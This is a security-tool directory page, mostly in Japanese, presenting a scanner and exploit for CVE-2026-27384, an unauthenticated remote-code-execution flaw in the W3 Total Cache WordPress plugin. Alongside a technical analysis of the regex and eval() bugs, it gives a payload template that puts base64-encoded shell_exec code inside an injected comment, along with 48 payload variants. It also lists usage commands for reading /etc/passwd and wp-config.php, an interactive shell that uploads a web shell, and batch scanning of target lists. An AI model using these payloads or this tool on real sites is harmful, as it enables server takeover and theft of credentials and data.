Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27384 — CVE-2026-27384(mfunc/eval()インジェクションを介したW3 Total Cacheの認証不要RCE)向けの自動スキャナーおよびエクスプロイト。自動検出、48種類のペイロードバリエーション、インタラクティブシェル、バッチスキャンを備えています。 | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-27384
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubxxconi/cve-2026-27384

CVE-2026-27384

CVE-2026-27384(mfunc/eval()インジェクションを介したW3 Total Cacheの認証不要RCE)向けの自動スキャナーおよびエクスプロイト。自動検出、48種類のペイロードバリエーション、インタラクティブシェル、バッチスキャンを備えています。

リポジトリを見る
44ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE スキャナー

プラグイン: W3 Total Cache プラグインスラッグ: w3-total-cache CVE ID: CVE-2026-27384 CVSS スコア: 9.8 (クリティカル) CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 脆弱性タイプ: 認証不要の任意コード実行 (eval() によるコードインジェクション) 影響を受けるバージョン: <= 2.9.1 修正済みバージョン: 2.9.2 公開日: 2026年2月24日 研究者: CODE WHITE GmbH


📌 脆弱性の概要

W3 Total Cache プラグインの Dynamic Fragment Caching 機能 (mfunc/mclude システム) は、 HTML コメント内に埋め込まれた PHP コードを eval() で実行します。 この機能を保護するための W3TC_DYNAMIC_SECURITY トークンは、複数のコード上の欠陥が組み合わさることでバイパス可能です。

結果: 認証を必要とせず、WordPress のコメントを送信するだけでサーバー上で任意の PHP コードを実行できます。


🔍 脆弱性の概要表

フィールド値
CVE IDCVE-2026-27384
CVSS9.8 Critical
タイプCode Injection → RCE (CWE-94)
影響を受けるバージョン<= 2.9.1
修正済みバージョン2.9.2
認証不要
ユーザー操作不要
前提条件W3TC_DYNAMIC_SECURITY が正規表現メタ文字を含むこと

⚙️ 技術的分析

機能: mfunc / mclude

W3TC の Dynamic Fragment Caching 機能は、開発者がページ HTML に 特殊なコメントタグを介して PHP コードを埋め込むことを許可します:

<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC はこれらのタグをキャッシュからページを提供するときに処理します: 埋め込まれた PHP は eval() で実行され、その出力がコメントブロックの場所に書き込まれます。


バグ1 — preg_quote() の欠如 (PgCache_ContentGrabber.php)

// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY が直接正規表現に追加されている
        // preg_quote() なし → トークンが正規表現パターンとして扱われる
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

トークンが '.' の場合、正規表現は <!--\s*mfunc\s*.(.*)--> となり → 任意の1文字がトークンの代わりとなります。


バグ2 — \s* と \s+ の不一致

関数パターン動作
_parse_dynamic() — 実行するmfunc\s*TOKEN0個の空白を許可 ✅
strip_dynamic_fragment_tags_from_string() — 削除するmfunc\s+TOKEN最低1個の空白が必要 ❌
攻撃者のペイロード:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      mfuncとトークンの間に空白なし

strip関数:   \s+ → 一致しない → ペイロードが残る
実行正規表現: \s* → 一致する → eval() が実行される

バグ3 — トークン検証の欠如 (_has_dynamic())

// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ defined() チェックのみ — empty() またはメタ文字チェックなし
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

完全な攻撃チェーン

W3TC_DYNAMIC_SECURITY = '.'   (正規表現メタ文字 — 任意の文字)
        │
        ▼
攻撃者がコメントを送信:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  パターン: mfunc\s+[^\s]+  →  \s+ が必要、空白なし → 回避 ✅
        │
        ▼
コメントがデータベースに保存され、ページがキャッシュされる
        │
        ▼
2回目のHTTPリクエスト → W3TCがキャッシュから提供
  _has_dynamic() → mfunc\s*.  → 'A' が一致 → true を返す
        │
        ▼
_parse_dynamic() → preg_replace_callback
  パターン: mfunc\s*.  → 'A' が一致
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 認証不要のRCE ✓

🔴 攻撃の影響

認証なしで、Webサーバーの権限でサーバー上で任意のPHPコードを実行可能:

  • ✅ サーバーの完全な乗っ取り
  • ✅ WordPressのファイルとデータベースの読み取り/書き込み/削除
  • ✅ Webシェル/バックドアの設置
  • ✅ 内部ネットワークへのピボット
  • ✅ 認証情報、APIキー、ユーザーデータの漏洩

🚀 インストール

git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

requests
beautifulsoup4

📖 使用方法

モード

モード説明
autoサイトをスキャン → コメントページを発見 → エクスプロイト (デフォルト)
exploit直接エクスプロイト — post URL を使用
shellインタラクティブシェル
detectW3TCの検出のみ

自動モード — すべて自動

python w3tc_rce.py https://hedef.com

スキャナーは以下を実行:

  1. W3TCがインストールされているか確認
  2. サイトマップ + リンク追跡でコメントフォームがあるページを発見
  3. 各ページに対して48のペイロードバリアントを試行
  4. 成功した場合、シェルを開くかどうか提案

エクスプロイトモード — 直接

# id komutu
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd id

# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /etc/passwd"

# wp-config.php oku
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Post ID manuel
python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/merhaba-dunya/ \
  --post-id 1 \
  --cmd whoami

シェルモード — インタラクティブ

python w3tc_rce.py https://hedef.com \
  --mode shell \
  --post-url https://hedef.com/?p=1

シェルが開かれると、自動的に whoami、hostname、pwd、uname -a が実行されます:

=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://hedef.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.hedef.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  コマンド: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

検出モード — 検出のみ

python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC kurulu!
    Sürüm  : 2.9.1
    Cache  : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!

バッチスキャン

python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt

プロキシ使用 (Burp Suite)

python w3tc_rce.py https://hedef.com \
  --mode exploit \
  --post-url https://hedef.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ 全パラメータ

パラメータ短縮説明デフォルト
url—単一ターゲットURL—
--list-lターゲットリストファイル—
--mode—動作モードauto
--cmd—実行するコマンドid
--post-url—コメントがあるページのURL—
--post-id—WordPressの投稿ID—
--max-pages—スパイダーの最大ページ数50
--threads-tスレッド数10
--output-o出力ファイルw3tc_results.txt
--proxy—プロキシURL—
--no-color—色なし出力False
--verbose-v詳細出力False

💀 ペイロード構造

mfunc 空白なしバイパス

標準タグ (stripによって捕捉される):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          空白あり → \s+ が一致 → stripが削除

バイパスタグ (stripを回避し、eval() が実行される):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        空白なし → \s+ が一致しない → stripをバイパス
                      \s* が一致 → eval() が実行

Base64 エンコード

PHPコードはHTMLエンコードの問題を防ぐためにbase64エンコードされます:

# コマンド: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48のペイロードバリアント

グループ関数バイパス文字エンコーディング
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*全関数A, B, X, 1生

🔄 エクスプロイトの流れ

1. W3TC の検出
   └─ readme.txt、ヘッダー、ボディ、プラグインディレクトリ

2. コメントシステムの検出
   └─ HTMLフォーム、REST API、投稿ID
ツールをダウンロード